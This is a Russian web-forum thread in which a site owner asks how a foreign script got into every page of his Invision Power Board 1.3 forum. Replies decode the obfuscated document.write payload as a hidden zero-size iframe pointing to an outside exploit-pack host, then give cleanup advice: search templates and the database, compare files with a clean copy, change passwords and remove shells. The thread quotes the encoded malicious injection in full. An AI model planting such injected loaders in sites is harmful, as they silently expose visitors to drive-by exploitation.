Не пойму как размещен чужой код в моих файлах

12
RF
На сайте с 26.04.2009
Offline
107
3665

На каждой странице форума сразу после <body> идет код:

<script language='javascript'>

document.write(unescape('%3C%69%66%72%61%6D%65%0A%73%72%63%3D%22%68%74%74%70%3A%2F%2F%61%75%74%6F%64%69%76%61%2E%72%75%2F%31%2E%68%74%6D%6C%22%20%68%6<<<тут длинно>>>%72%61%6D%65%3E'));
</script>

Каспер говорит, что это "нечто вроде трояна", ну как он любит. После нескольких дней мучений написал даже в лабораторию касперского и мне ответили, что это не вирус, а код счетчика LI который считает посещения другому сайту.

Так вот проблема в том, что нигде в файлах форума данного кода нет. Поставить полностью чистый движок не могу по причине криво переписанного шаблона дизайна и невозможности переписать его заново.

Посоветуйте, как выловить этот код?

Адрес пациента forum/fanfics/ru

S
На сайте с 14.04.2008
Offline
60
#1

Адрес форума тут ничем не поможет. Вредоносный код нужно ловить где-то в шаблонах. А как вы определили, что "нигде в файлах форума такого кода нет"?

Say What?
На сайте с 08.05.2010
Offline
9
#2

Мда, в лаборатории касперского по ходу совсем идиоты сидят..

Киньте в личку пожалуйста весь JS, попробую декодировать и посмотреть, что там.

Но больше чем уверен, что там фрейм на станицу со связкой :)

UPD: Хотя не надо, хоть чуть-чуть погуглите, этот код уже ни раз в инете обсуждался ;)

MJay
На сайте с 13.06.2010
Offline
67
#3

Запусти по исходникам и всему текстовому материалу поиск внутри файла, и так же если есть БД, то и по ней выполни поиск.

RF
На сайте с 26.04.2009
Offline
107
#4

seraphim, полнотекстовым поиском по всем файлам форума. Я искал именно данный текст, который вставлен в страницы форума. Видимо не все так просто.

Say What?, отправил, правда, суть кода - мне не так уж и важна, но буду благодарен за любую помощь :)

Say What?
На сайте с 08.05.2010
Offline
9
#5

<script language='javascript'>
document.write(unescape('%3C%69%66%72%61%6D%65%0A%73%72%63%3D%22%68%74%74%70%3A%2F%2F%61%75%74%6F%64%69%76%61%2E%72%75%2F%31%2E%68%74%6D%6C%22%20%68%65%69%67%68%74%3D%22%30%22%20%77%69%64%74%68%3D%22%30%22%20%6E%61%6D%65%3D%22%31%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%69%64%3D%22%31%22%20%2F%3E%3C%2F%69%66%72%61%6D%65%3E'));
</script>

создаём html документ, пишем в нём:

<script>
alert(unescape('%3C%69%66%72%61%6D%65%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%62%6F%72%64%65%72%3D%30%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%63%61%6E%65%64%2E%69%6E%66%6F%2F%74%64%73%2F%69%6E%2E%63%67%69%3F%32%22%3E%3C%2F%69%66%72%61%6D%65%3E'));
</script>

Открываем этот документ в браузере и получаем алерт с текстом:

<iframe
src="http://autodiva.ru/1.html" height="0" width="0" name="1" frameborder="0" scrolling="no" id="1" /></iframe>

Как и думал, зашифрованный iframe на связку сплоитов.

Проверьте код движка или шаблона вашего форума и удалите этот JS. Смените пароли на хостинге, фтп и т.д. и попробуйте поискать шелл у себя на сервере :) Ну и подумайте как вас могли взломать, то ли это где то уязвимость в форуме или сторонних движках установленных на вашем сервере, то ли был задействован реверс ip, ну и как вариант получили ваши пароли.

Удачи!

RF
На сайте с 26.04.2009
Offline
107
#6

MJay, это реально может быть в БД записано? Попробую сегодня поискать в БД.

Say What?, как сломали знаю, шелл удалил. Не пойму какой код искать и где именно. В этом и проблема.

S
На сайте с 14.04.2008
Offline
60
#7

Нужно посмотреть, как движок собирает страницу. Вполне возможно, что этот код тянется из базы.

А код - это действительно ифрейм. Та часть вначале под анэскейпом, которую вы привели без купюр, расшифровалась так:

<iframe src="http://autodiva.ru/1.html"

Что за движок у форума?

MD
На сайте с 11.04.2010
Offline
22
#8

seraphim, ипб 1.3

Say What?
На сайте с 08.05.2010
Offline
9
#9

Под Invision Power Board v1.3 Final давно уже сплоит есть с которым каждый школьник сможет разобраться :)

Я бы обновился)

MD
На сайте с 11.04.2010
Offline
22
#10

Say What, оффтоп: в булке исправлять гораздо легче, чем в ипб. К слову об этом: http://s47.radikal.ru/i117/1005/b3/678704b4890d.jpg

автору темы:

скачайте дистрибутив (чистый) этой версии и сверьте файлы по размерам

посмотрите время изменения файлов

ищите в мускуле по шаблонам, используя like '%3C%69%66%72%61%6D%'

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий